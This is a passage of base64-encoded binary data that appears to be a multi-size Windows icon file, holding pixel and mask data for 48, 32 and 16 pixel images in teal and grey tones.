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Gtv8luaz/Nr+4/y25sv8wurH/K7Sr/zm5sv8zt7D/NLy0/y6+tP+Ql5X/l5aV/5SSkf+SkI//kpCP/4+Ojf+Mion/iYiG/4eGhP+GhIP/hIOB/357ev9ycG3/aWZk/2ViYP+wr63ugJqcgi/Irf8tyar/M8iq/zvKr/8wxK3/KL2t/y+7sf84ubT/Mayp/zajo/8zoJ//QaWn/zylpf81oaD/M66q/6Sxrv+4uLP/s7ez/7W3s/+2uLP/trm0/7e5tP+4urX/uLu1/7q6tv+2t7T/rqyq/6Ofmv+moZz/q6Od/76/wL1JmZO3Ls+u/zXLrP89zLD/Oses/zXEsP8tvK//LLau/zi2sv87kpn/KmJw/zWAjP8vaHP/L3iC/yxncf89kZf/NrOu/y+2r/8jsKj/PMK+/0zLx/9Qzsj/XdXL/2Dczf9m4M//c+vX/2PS1/8XdaD/GF+E/xdSdf8VRWr/MklfU0Kqmrsuz67/Nsus/zvKrP8+ya//O8a0/y+6rv8tsqr/LY2R/zd/iv85fo3/PoiX/y1xgf8zhpX/MHuL/z2Ekv8xgIn/JoWG/zG3s/80u7j/QMLB/1LJx/9Z0sv/W9bL/2re0P9u4tH/fu7f/zmju/8SXoT/HWOJ/xVIbf8wT2pxSK2bwy/Qr/82yqv/O8qs/0LLsf8/xrT/OMC2/yuspv8pfYH/LWx5/zF5iv88lqj/Sq6//0qywf9Ir7z/PaGu/yptfP8rdXz/Laej/zC0sf8us7D/Or67/0nKxP9U0sn/X9jL/2rf0P9959f/fOjj/y2NrP8WYIr/FU1y/zFOZ4lWsaG7J8yp/zfJqf8+za//Osqu/zPAqv8xtqf/MqKd/z6Sl/8xcYH/KnOI/0+twP+T2+v/ktvs/4jV5f88prf/Ln6P/ytuff8ygoz/LZub/zSwrv8zt7D/Mruy/0vLw/9e1Mv/bd3Q/3Lj1P+D6dn/keji/zp/nP8RSnD/KUtnqlaWipUuz67/QM+x/0LOsP86yaz/OMOs/ze2p/88mJf/Pn+J/zN0h/83iZ//fczd/6Pe8P+p3/H/ruTz/23E0/8qg5T/MZen/yFOYP8uZ3D/NqOl/yquqP8zvLT/VMzI/2bUzv9s2tD/bt/S/3nm2P+f8+b/ZKa1/xJQeP8eQl+3bY6JYDrQsv8/z7D/R86w/0PMsP88xa3/M7io/zq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